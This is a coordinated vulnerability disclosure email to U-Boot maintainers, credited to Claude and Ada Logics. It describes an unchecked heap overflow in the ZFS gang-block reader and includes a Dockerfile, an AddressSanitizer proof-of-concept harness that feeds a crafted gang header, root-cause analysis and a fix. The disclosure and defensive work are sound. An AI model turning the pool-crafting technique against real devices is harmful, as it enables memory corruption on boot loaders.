Hello U-Boot maintainers,

I'd like to report a High-severity security issue in U-Boot 
(https://github.com/u-boot/u-boot / 
https://git.u-boot-project.org/u-boot/u-boot) related to possible heap overflow 
in U-Boot's ZFS reader with crafted ZFS pool.

I have attached 3 files with this email as described below.
1) report.md: A full description of the vulnerability and how to reproduce it, 
together with suggested fix of the issue.
2) Dockerfile: A Dockerfile for demonstrating the issue.
3) driver.c: Work with the Dockerfile to demonstrate the issue.

Attribution
-----------
Please attribute Claude and Ada Logics. This issue was found by Anthropic from 
using agents to study security of open source projects, and I am from Ada 
Logics helping validate the found issues and creating the report manually and 
notify the maintainers.

Disclosure
----------
This report follows a 90-day coordinated disclosure deadline. I'm happy to 
coordinate on the exact timing and to provide any further detail you need.

Kind regards,
Arthur Chan




ADA Logics Ltd is registered in England. No: 11624074.
Registered office: 266 Banbury Road, Post Box 292,
OX2 7DL, Oxford, Oxfordshire , United Kingdom
FROM ubuntu:24.04

RUN apt-get update && apt-get install -y --no-install-recommends \
        ca-certificates git gcc libc6-dev libasan8 \
    && rm -rf /var/lib/apt/lists/*

ARG PIN=ece349ade2973e220f524ce59e59711cc919263f

# Clone and pin the real upstream tree, then assert HEAD == PIN.
RUN git clone --no-checkout https://github.com/u-boot/u-boot.git /u-boot \
    && git -C /u-boot checkout ${PIN} \
    && test "$(git -C /u-boot rev-parse HEAD)" = "${PIN}" \
    && echo "HEAD matches pin ${PIN}"

WORKDIR /work
COPY driver.c /work/driver.c

# Extract get_psize() and zio_read_gang() VERBATIM from the pinned source.
# get_psize starts at the unique "static inline size_t" line; zio_read_gang
# is captured together with its preceding "static int" return-type line.
# Each block runs to the first line that is exactly "}".
RUN awk '/^static inline size_t$/{inb=1} inb{print} inb&&/^}$/{inb=0}' \
        /u-boot/fs/zfs/zfs.c > /work/extracted.inc \
    && awk '/^zio_read_gang\(blkptr_t/{print prev; inb=1} \
            inb{print} inb&&/^}$/{inb=0} {prev=$0}' \
        /u-boot/fs/zfs/zfs.c >> /work/extracted.inc \
    && echo "----- extracted.inc -----" && cat /work/extracted.inc

RUN gcc -g -O0 -fsanitize=address -fno-omit-frame-pointer \
        driver.c -o /work/poc

ENV ASAN_OPTIONS=abort_on_error=1:halt_on_error=1:detect_leaks=0

# poc-zfs-gang
CMD ["/work/poc"]
/*
 * Focused ASan harness for the U-Boot ZFS gang-block heap overflow.
 *
 * The two functions that actually contain the bug, get_psize() and
 * zio_read_gang(), are extracted VERBATIM at build time from the pinned
 * fs/zfs/zfs.c and #included below (see extracted.inc, generated by the
 * Dockerfile). This file supplies only:
 *
 *   - the minimal on-disk types the extracted code touches (blkptr_t,
 *     dva_t, zio_cksum_t, zio_eck_t, zio_gbh_phys_t), laid out exactly as
 *     in include/zfs/spa.h and include/zfs/zio.h;
 *   - the macros/enums the extracted code references;
 *   - stubs that MODEL the surrounding driver: zfs_devread() delivers the
 *     attacker-crafted gang-block header, zio_checksum_verify() returns
 *     success (a pool crafter computes the embedded self-checksum
 *     correctly, so this gate always passes), and zio_read_data() models a
 *     successful child read by writing the child's advertised psize bytes
 *     into buf.
 *
 * The overflow itself is EXECUTED by the real extracted zio_read_gang():
 * it advances `buf` by get_psize(child) for each of SPA_GBH_NBLKPTRS
 * children with no check that the child sizes, or their running sum, fit
 * the parent allocation.
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

/* glibc <endian.h> (pulled in via stdlib.h) defines these as macros; the
 * ZFS driver uses them as enum constants. Drop the libc macros first. */
#undef LITTLE_ENDIAN
#undef BIG_ENDIAN

/* ---- endian type / decode, matching include/zfs_common.h ---------------- */
typedef enum zfs_endian {
	UNKNOWN_ENDIAN = -2,
	LITTLE_ENDIAN = -1,
	BIG_ENDIAN = 0
} zfs_endian_t;

/* Little-endian pool on a little-endian host: decode is identity. This
 * keeps get_psize()'s real arithmetic intact without pulling in U-Boot's
 * byteswap headers. */
#define zfs_to_cpu64(x, a) (x)

/* ---- error codes, matching include/zfs_common.h ------------------------- */
enum zfs_errors {
	ZFS_ERR_NONE = 0,
	ZFS_ERR_NOT_IMPLEMENTED_YET = -1,
	ZFS_ERR_BAD_FS = -2,
	ZFS_ERR_OUT_OF_MEMORY = -3,
};

/* ---- on-disk structures, matching include/zfs/spa.h and include/zfs/zio.h  */
#define SPA_MINBLOCKSHIFT 9
#define SPA_DVAS_PER_BP   3

typedef struct zio_cksum { uint64_t zc_word[4]; } zio_cksum_t;
typedef struct dva { uint64_t dva_word[2]; } dva_t;

typedef struct blkptr {
	dva_t		blk_dva[SPA_DVAS_PER_BP];
	uint64_t	blk_prop;
	uint64_t	blk_pad[2];
	uint64_t	blk_phys_birth;
	uint64_t	blk_birth;
	uint64_t	blk_fill;
	zio_cksum_t	blk_cksum;
} blkptr_t;

typedef struct zio_eck {
	uint64_t	zec_magic;
	zio_cksum_t	zec_cksum;
} zio_eck_t;

#define SPA_GANGBLOCKSIZE 512ULL
#define SPA_GBH_NBLKPTRS  ((SPA_GANGBLOCKSIZE - sizeof(zio_eck_t)) / sizeof(blkptr_t))
#define SPA_GBH_FILLER    ((SPA_GANGBLOCKSIZE - sizeof(zio_eck_t) - \
			    (SPA_GBH_NBLKPTRS * sizeof(blkptr_t))) / sizeof(uint64_t))

typedef struct zio_gbh {
	blkptr_t	zg_blkptr[SPA_GBH_NBLKPTRS];
	uint64_t	zg_filler[SPA_GBH_FILLER];
	zio_eck_t	zg_tail;
} zio_gbh_phys_t;

/* ---- macros the extracted code references ------------------------------- */
#define ZIO_CHECKSUM_GANG_HEADER 4
#define DVA_GET_VDEV(dva) 0
#define DVA_OFFSET_TO_PHYS_SECTOR(offset) ((offset) >> SPA_MINBLOCKSHIFT)
#define ZIO_SET_CHECKSUM(zcp, w0, w1, w2, w3) {          \
	(zcp)->zc_word[0] = (w0); (zcp)->zc_word[1] = (w1);  \
	(zcp)->zc_word[2] = (w2); (zcp)->zc_word[3] = (w3);  \
}

/* opaque context, unused by the extracted code path */
struct zfs_data;

/* forward decl so the zio_read_data stub can call the extracted get_psize */
static inline size_t get_psize(blkptr_t *bp, zfs_endian_t endian);

/* ---- harness state ------------------------------------------------------ */
static zio_gbh_phys_t g_gbh;      /* the attacker-crafted gang-block header */
static unsigned long  g_written;  /* running total of modelled child bytes  */

/* ---- stubs modelling the surrounding driver ----------------------------- */

/* Deliver the crafted gang-block header. The real zfs_devread() reads it
 * off attached storage; the pool crafter controls every byte. */
static int zfs_devread(int sector, int byte_offset, int byte_len, char *buf)
{
	(void)sector; (void)byte_offset;
	memcpy(buf, &g_gbh, (size_t)byte_len);
	return ZFS_ERR_NONE;
}

/* The gang header is self-checksumming (ci_eck=1, SHA256). The real
 * zio_checksum_verify() seeds the trailing zec_cksum from on-disk
 * {vdev, offset, birth, 0}, hashes, and compares against the embedded
 * value, so a pool crafter computes it correctly and this gate passes.
 * Modelled here as unconditional success. */
static int zio_checksum_verify(zio_cksum_t zc, uint32_t checksum,
			       zfs_endian_t endian, char *buf, int size)
{
	(void)zc; (void)checksum; (void)endian; (void)buf; (void)size;
	return ZFS_ERR_NONE;
}

/* Model a successful child read: a real zio_read_data() copies the child's
 * advertised psize bytes into buf. This is the write that lands past the
 * parent allocation once the real zio_read_gang() has advanced buf. */
static int zio_read_data(blkptr_t *bp, zfs_endian_t endian, void *buf,
			 struct zfs_data *data)
{
	size_t n = get_psize(bp, endian);
	(void)data;
	memset(buf, 0x41, n);   /* attacker-controlled child payload */
	g_written += (unsigned long)n;
	return ZFS_ERR_NONE;
}

/* dva_get_offset() is a sibling helper (not part of the bug); the checksum
 * gate that consumes it is stubbed, so a constant offset is sufficient. */
static uint64_t dva_get_offset(dva_t *dva, zfs_endian_t endian)
{
	(void)dva; (void)endian;
	return 0;
}

/* ---- VERBATIM extracted get_psize() and zio_read_gang() ----------------- */
#include "extracted.inc"

/* ---- harness ------------------------------------------------------------ */

/* Encode a physical size into blk_prop the way the on-disk format does, so
 * that the extracted get_psize() decodes exactly `psize` bytes:
 *   get_psize = (((blk_prop >> 16) & 0xffff) + 1) << 9   */
static uint64_t encode_psize(size_t psize)
{
	uint64_t nsec = (uint64_t)(psize >> SPA_MINBLOCKSHIFT);
	uint64_t field = nsec - 1;            /* +1 is added back by get_psize */
	return (field & 0xffff) << 16;
}

static void craft_gbh(const size_t child_psize[3])
{
	memset(&g_gbh, 0, sizeof(g_gbh));
	for (int i = 0; i < 3; i++) {
		g_gbh.zg_blkptr[i].blk_birth = 1;                    /* non-zero: not skipped */
		g_gbh.zg_blkptr[i].blk_prop  = encode_psize(child_psize[i]);
	}
}

static void run_case(const char *label, size_t parent_alloc,
		     const size_t child_psize[3])
{
	blkptr_t parent;
	dva_t    dva;
	size_t   sum = child_psize[0] + child_psize[1] + child_psize[2];

	memset(&parent, 0, sizeof(parent));
	memset(&dva, 0, sizeof(dva));

	craft_gbh(child_psize);
	g_written = 0;

	printf("== %s ==\n", label);
	printf("  parent buffer allocation : %zu bytes\n", parent_alloc);
	printf("  gang child psizes        : %zu + %zu + %zu = %zu bytes\n",
	       child_psize[0], child_psize[1], child_psize[2], sum);
	printf("  bound check in zio_read_gang() : NONE\n");
	fflush(stdout);

	char *buf = (char *)malloc(parent_alloc);

	int err = zio_read_gang(&parent, LITTLE_ENDIAN, &dva, buf, NULL);

	printf("  zio_read_gang() returned : %d\n", err);
	printf("  bytes written into buf   : %lu (parent was %zu)\n\n",
	       g_written, parent_alloc);
	fflush(stdout);

	free(buf);
}

int main(void)
{
	printf("##### pin #####\n");
	fflush(stdout);
	if (system("git -C /u-boot rev-parse HEAD") != 0)
		return 2;
	printf("\n");

	/* NEGATIVE: parent sized to hold all three children -> clean. */
	size_t neg[3] = { 512, 512, 512 };
	run_case("NEGATIVE CONTROL: children fit the parent allocation",
		 1536, neg);

	/* POSITIVE: attacker-crafted pool. Parent decodes to the 512-byte
	 * minimum; three 512-byte children sum to 1536. Child 0 fills the
	 * buffer exactly, buf advances 512, child 1 writes past the end. */
	size_t pos[3] = { 512, 512, 512 };
	run_case("POSITIVE: crafted gang children overflow the parent buffer",
		 512, pos);

	printf("(reached here only if no overflow was detected)\n");
	return 0;
}
# A crafted ZFS pool overflows a fixed-size U-Boot heap buffer by writing unchecked gang-block child data past its end

U-Boot's ZFS reader sizes a heap buffer to the physical size of a parent block pointer and then fills it by reading the children of a gang block into it, advancing the write cursor by each child's self-declared physical size with no check that any child, or the running total, fits the buffer. Gang-block child sizes are attacker data taken straight off disk: `get_psize()` decodes up to 32MB per child from the on-disk `blk_prop` field, and three children (`SPA_GBH_NBLKPTRS`) can drive roughly 96MB of attacker-chosen bytes into an allocation as small as 512 bytes. The gang header that carries these child pointers is nominally integrity-protected, but its checksum is an embedded self-checksum (`ci_eck = 1`) that `zio_checksum_verify()` seeds from on-disk, attacker-controlled fields before hashing, so a pool crafter computes it correctly and the gate passes. An attacker who supplies a malicious pool on attached or removable storage therefore overflows a fixed-size heap buffer with content and length of their choosing. The path is reached whenever U-Boot mounts the pool to satisfy an `ls` or `load` on the device, before any file payload is validated: the very first `zio_read()` of the uberblock's root block pointer already follows gang DVAs. The overflow is confirmed by an AddressSanitizer proof of concept that drives the real extracted `zio_read_gang()` and `get_psize()`. Reachability caveat: the ZFS command support is opt-in (`CONFIG_CMD_ZFS`) and no in-tree defconfig enables it, so the finding is rated on the merits of the controlled heap overflow, in the same class as the btrfs crafted-image overflow, not on default reachability.

## Root cause

`zio_read()` decides the buffer size solely from the parent block pointer: `malloc(psize)` for a compressed block or `malloc(lsize)` otherwise, where both are decoded from the parent's on-disk `blk_prop`. That single buffer is then passed to `zio_read_data()` to be filled.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/fs/zfs/zfs.c#L563-L590

```c
	comp = (zfs_to_cpu64((bp)->blk_prop, endian)>>32) & 0xff;
	lsize = (BP_IS_HOLE(bp) ? 0 :
			 (((zfs_to_cpu64((bp)->blk_prop, endian) & 0xffff) + 1)
			  << SPA_MINBLOCKSHIFT));
	psize = get_psize(bp, endian);
	......
	if (comp != ZIO_COMPRESS_OFF) {
		compbuf = malloc(psize);
		if (!compbuf)
			return ZFS_ERR_OUT_OF_MEMORY;
	} else {
		compbuf = *buf = malloc(lsize);
	}

	err = zio_read_data(bp, endian, compbuf, data);
```

`zio_read_data()` walks the parent's DVAs and, whenever a DVA is flagged as a gang block, hands that same fixed-size `buf` to `zio_read_gang()` unchanged.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/fs/zfs/zfs.c#L512-L525

```c
	for (i = 0; i < SPA_DVAS_PER_BP; i++) {
		uint64_t offset, sector;
		......
		if ((zfs_to_cpu64(bp->blk_dva[i].dva_word[1], endian)>>63) & 1) {
			err = zio_read_gang(bp, endian, &bp->blk_dva[i], buf, data);
		} else {
```

`zio_read_gang()` reads the on-disk gang header and iterates its up-to-`SPA_GBH_NBLKPTRS` child block pointers. For each child it reads the child's data into `buf`, then advances `buf` by that child's `get_psize()`. Nothing compares any child size, or the running sum of child sizes, against the size of the buffer that `zio_read()` allocated.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/fs/zfs/zfs.c#L484-L494

```c
	for (i = 0; i < SPA_GBH_NBLKPTRS; i++) {
		if (zio_gb->zg_blkptr[i].blk_birth == 0)
			continue;

		err = zio_read_data(&zio_gb->zg_blkptr[i], endian, buf, data);
		if (err) {
			free(zio_gb);
			return err;
		}
		buf = (char *) buf + get_psize(&zio_gb->zg_blkptr[i], endian);
	}
```

Each per-child size comes from `get_psize()`, which decodes 16 bits out of the child's on-disk `blk_prop` and can return up to `((0xffff)+1) << 9`, that is 32MB. With three children this permits roughly 96MB of attacker-chosen bytes to be written into a buffer that may be as small as the 512-byte minimum block size.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/fs/zfs/zfs.c#L425-L430

```c
static inline size_t
get_psize(blkptr_t *bp, zfs_endian_t endian)
{
	return (((zfs_to_cpu64((bp)->blk_prop, endian) >> 16) & 0xffff) + 1)
			<< SPA_MINBLOCKSHIFT;
}
```

The gang header is not a trust barrier against this. It is checksummed with `ZIO_CHECKSUM_GANG_HEADER`, whose table entry sets `ci_eck = 1` (an embedded self-checksum).

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/fs/zfs/zfs.c#L239

```c
	{zio_checksum_SHA256, 1, 1, "gang_header"},
```

For an embedded-checksum algorithm, `zio_checksum_verify()` takes the expected value from the trailing `zec_cksum` inside the block itself, overwrites it with a seed the caller derived from on-disk fields, hashes the block, and compares. Every input to that computation is under the control of whoever wrote the pool, so a crafter simply stores the correct SHA256 and the check passes.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/fs/zfs/zfs.c#L266-L271

```c
	if (ci->ci_eck) {
		expected_cksum = zec->zec_cksum;
		zec->zec_cksum = zc;
		ci->ci_func(buf, size, endian, &actual_cksum);
		zec->zec_cksum = expected_cksum;
		zc = expected_cksum;
	} else {
```

The seed itself is built in `zio_read_gang()` from the gang DVA's vdev, offset and the parent's birth txg, all of which are attacker-supplied on-disk values.

https://github.com/u-boot/u-boot/blob/ece349ade2973e220f524ce59e59711cc919263f/fs/zfs/zfs.c#L473-L476

```c
	ZIO_SET_CHECKSUM(&zc, DVA_GET_VDEV(dva),
					 dva_get_offset(dva, endian), bp->blk_birth, 0);
	err = zio_checksum_verify(zc, ZIO_CHECKSUM_GANG_HEADER, endian,
							  (char *) zio_gb, SPA_GANGBLOCKSIZE);
```

## Proof of Concept

The reproducer extracts `get_psize()` and `zio_read_gang()` verbatim at build time from the pinned `fs/zfs/zfs.c` (via `awk`, into `extracted.inc`) and compiles them under AddressSanitizer. It supplies only the minimal on-disk types the extracted code touches, laid out exactly as in `include/zfs/spa.h` and `include/zfs/zio.h` (`blkptr_t`, `dva_t`, `zio_cksum_t`, `zio_eck_t`, `zio_gbh_phys_t`), and three stubs that model the surrounding driver: `zfs_devread()` delivers the attacker-crafted gang header, `zio_checksum_verify()` returns success (the forgeable self-checksum from the root cause is cited, not recomputed, so the crafter's correct checksum is modelled by a pass), and `zio_read_data()` models a successful child read by writing the child's advertised `get_psize()` bytes into `buf`. What is executed is the real, unmodified defect: the extracted `zio_read_gang()` advancing `buf` by each child's `get_psize()` with no bound against the parent allocation. The build asserts the checked-out tree is exactly the pinned commit. The negative case allocates a parent large enough to hold all three 512-byte children and completes cleanly; the positive case allocates the 512-byte minimum, so child 0 fills the buffer exactly, `buf` advances 512 bytes, and child 1's write lands past the end.

```
docker build -t poc . && docker run --rm poc
```

### Result

```
##### pin #####
ece349ade2973e220f524ce59e59711cc919263f

== NEGATIVE CONTROL: children fit the parent allocation ==
  parent buffer allocation : 1536 bytes
  gang child psizes        : 512 + 512 + 512 = 1536 bytes
  bound check in zio_read_gang() : NONE
  zio_read_gang() returned : 0
  bytes written into buf   : 1536 (parent was 1536)

== POSITIVE: crafted gang children overflow the parent buffer ==
  parent buffer allocation : 512 bytes
  gang child psizes        : 512 + 512 + 512 = 1536 bytes
  bound check in zio_read_gang() : NONE
=================================================================
==1==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x515000000500 at pc 0x7f43bd05897d bp 0x7ffc51c69830 sp 0x7ffc51c68fd8
WRITE of size 512 at 0x515000000500 thread T0
    #0 0x7f43bd05897c in memset ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:87
    #1 0x5559a3339425 in zio_read_data /work/driver.c:139
    #2 0x5559a33398ae in zio_read_gang /work/extracted.inc:51
    #3 0x5559a3339ded in run_case /work/driver.c:198
    #4 0x5559a333a152 in main /work/driver.c:225
    #5 0x7f43bcd761c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #6 0x7f43bcd7628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #7 0x5559a33392c4 in _start (/work/poc+0x12c4) (BuildId: f28052a9c0647c36ab39a5228e7136a3ff296554)

0x515000000500 is located 0 bytes after 512-byte region [0x515000000300,0x515000000500)
allocated by thread T0 here:
    #0 0x7f43bd05b9c7 in malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:69
    #1 0x5559a3339dbb in run_case /work/driver.c:196
    #2 0x5559a333a152 in main /work/driver.c:225
    #3 0x7f43bcd761c9  (/lib/x86_64-linux-gnu/libc.so.6+0x2a1c9) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #4 0x7f43bcd7628a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2a28a) (BuildId: 328820b908de8ea1ef79afa8995e302e819163d7)
    #5 0x5559a33392c4 in _start (/work/poc+0x12c4) (BuildId: f28052a9c0647c36ab39a5228e7136a3ff296554)

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors_memintrinsics.inc:87 in memset
```

The negative control writes 1536 bytes into a 1536-byte buffer and returns cleanly, confirming the harness models honest input without spurious faults. The positive case, differing only in that the parent buffer is the 512-byte minimum a real parent block pointer can decode to, aborts with a heap-buffer-overflow WRITE of size 512 landing exactly 0 bytes after the 512-byte allocation, in the modelled child read invoked from the real extracted `zio_read_gang()` at `extracted.inc:51` (the `buf` advance). This is the unchecked `buf += get_psize(child)` executing against an undersized parent. Preconditions for a real target: `CONFIG_CMD_ZFS` is enabled in the U-Boot build (opt-in, not set by any in-tree defconfig), and the attacker can present a crafted ZFS pool on storage the device reads, for example a USB stick or SD card, then an operator or boot script issues a ZFS `ls` or `load` against it, which mounts the pool and reads block pointers before any file payload is checked.

## Mitigation

In `zio_read_gang()`, track the number of bytes already written into `buf` and, before each `zio_read_data()` and each `buf` advance, verify that the current child's `get_psize()` plus the running total does not exceed the size of the buffer allocated by `zio_read()`. This requires plumbing the parent allocation size (the `psize`/`lsize` computed in `zio_read()`) down through `zio_read_data()` into `zio_read_gang()` so the bound is available. Reject the block with `ZFS_ERR_BAD_FS` if any child would write past the allocation, rather than trusting the on-disk `blk_prop` sizes.

## Attribution

This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged manually with manual report writing by Ada Logics in collaboration with Anthropic Research.

Reply via email to